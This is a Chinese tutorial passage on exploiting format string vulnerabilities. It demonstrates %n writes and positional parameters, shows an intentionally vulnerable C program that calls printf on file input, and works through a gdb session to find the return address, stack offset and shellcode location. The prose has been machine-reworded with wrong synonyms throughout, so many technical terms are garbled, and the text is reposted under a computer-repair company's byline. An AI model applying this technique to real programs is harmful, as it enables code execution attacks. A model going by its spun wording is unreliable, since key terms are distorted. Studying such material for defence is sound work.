Format String 漏洞介绍/总结(二)
2. format stirng 毛病利用
通过后面讨论,我们很容易晓得,如果要让我们的shellcode运转起来,必须要晓得三个数
据:
1. 我们要写的地址,want_write_addr
2. Printf参数后面多少位是我们自定义的数据地址,pad,也便是stack popup的值
3. 我们的shellcode地址.
为什么我们要晓得pad的数值呢?printf提供了一个$参数给我们,容许用户不用一个个显示
参数,可以自定义显示数据,比如:
[bkbll@mobile fmtxp_lib]$ cat 7.c
main()
{
int i=1,j=2;
printf("j=%2$d i=%1$d\n",i,j);
}
[bkbll@mobile fmtxp_lib]$ cc 7.c ; ./a.out
j=2 i=1
[bkbll@mobile fmtxp_lib]$
有了这个$参数,我们也可以很容易控制写入到某个地址的数据地址:
比如,我们想写入900到变量n内里,我们可以这样写:
[bkbll@mobile fmtxp_lib]$ cat 8.c
main()
{
int n=0;
printf("before printf,n=%d\n",n);
printf("%800d%n\n",1,&n);
printf("after printf,n=%d\n",n);
}
[bkbll@mobile fmtxp_lib]$ cc 8.c ; ./a.out
before printf,n=0
1
after printf,n=800
[bkbll@mobile fmtxp_lib]$
后面先容了大约的使用,我们来实战一下,就利用scut提供的一个程序做我们的例子吧:
[bkbll@mobile fmtxp_lib]$ cat vuln.c
#include
#include
#include
void foo (char *line);
int
main (int argc, char *argv[])
{
FILE * f;
char line[1024];
f = fopen (argv[1], "rb");
if (f == NULL) {
fprintf (stderr, "usage: %s file\n", argv[0]);
exit (EXIT_FAILURE);
}
fgets (line, sizeof (line) - 1, f);
line[1023] = '\x00';
foo (line);
exit (EXIT_SUCCESS);
}
void
foo (char *line)
{
printf (line);
}
程序从文件内里读取一行(<1024)然后显示出来,在foo函数内里存在一个款式化字符串的漏
洞。
一般利用format string的方法有以下几种:
1. 笼罩GOT
2. 利用DTORS
3. 利用 C library hooks
4. 利用 atexit 结构(静态编译版本才行)
5. 笼罩函数前往地址
等。这里我想先容笼罩GOT, 笼罩DTORS地址,笼罩函数前往地址三种方法, 其他方法类
似。
关于GOT表和DTORS段的含义,请参考相关材料。
3. 利用笼罩函数前往地址等方法:
起首我们要晓得want_write_addr以及pad和shellcode addr值,
我们先跟踪一下vuln程序:
[bkbll@mobile fmtxp_lib]$ echo "AAAA" > 6
[bkbll@mobile fmtxp_lib]$ gdb -q vuln
(gdb) x/i foo
0x80484c4
(gdb) b *0x80484c4
Breakpoint 1 at 0x80484c4: file vuln.c, line 30.
(gdb) r 6
Starting program: /home/bkbll/format/examples/fmtxp_lib/vuln 6
Breakpoint 1, foo (line=0x2 ) at vuln.c:30
30 {
(gdb) x/wx $esp
0xbffff67c: 0x080484b6
从这里可以看出,foo函数的前往地址在0xbffff67c,也便是我们所要的want_write_addr地
址。
(gdb) x/i printf
0x42052390
(gdb) b *0x42052390
Breakpoint 2 at 0x42052390
(gdb) c
Continuing.
Breakpoint 2, 0x42052390 in printf () from /lib/i686/libc.so.6
(gdb) x/16wx $esp
0xbffff65c: 0x080484d5 0xbffff690 0x4000a190 0x42062a9d
0xbffff66c: 0x4212a2d0 0x40012020 0xbffffaf4 0xbffffaa8
0xbffff67c: 0x080484b6 0xbffff690 0x000003ff 0x08049660
0xbffff68c: 0x40006575 0x41414141 0x0001000a 0x40008b1e
这里我们可以失掉pad的值,我们的printf参数在0xbffff690:
(gdb) x/s 0xbffff690
0xbffff690: "AAAA\n"
而我们真正的参数呈现在0xbffff68c+4处,我们盘算一下中心需要跳过多少地址:
0xbffff68c+4-0xbffff65c-8=0x2c
0x2c/4=11,也便是说中心需要颠末11个指针范例数据才能抵达,以是:
pad=11+1=12(第12个指针范例数据)
从后面又失掉我们的shellcode地址肯定是在0xbffff690+x处,和缓冲区溢出雷同,我们可以
添补得当的NOP指令,只要X不太多,就可以将指令跳转到我们的NOP上,我们的
shellcode就可以实行了。
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|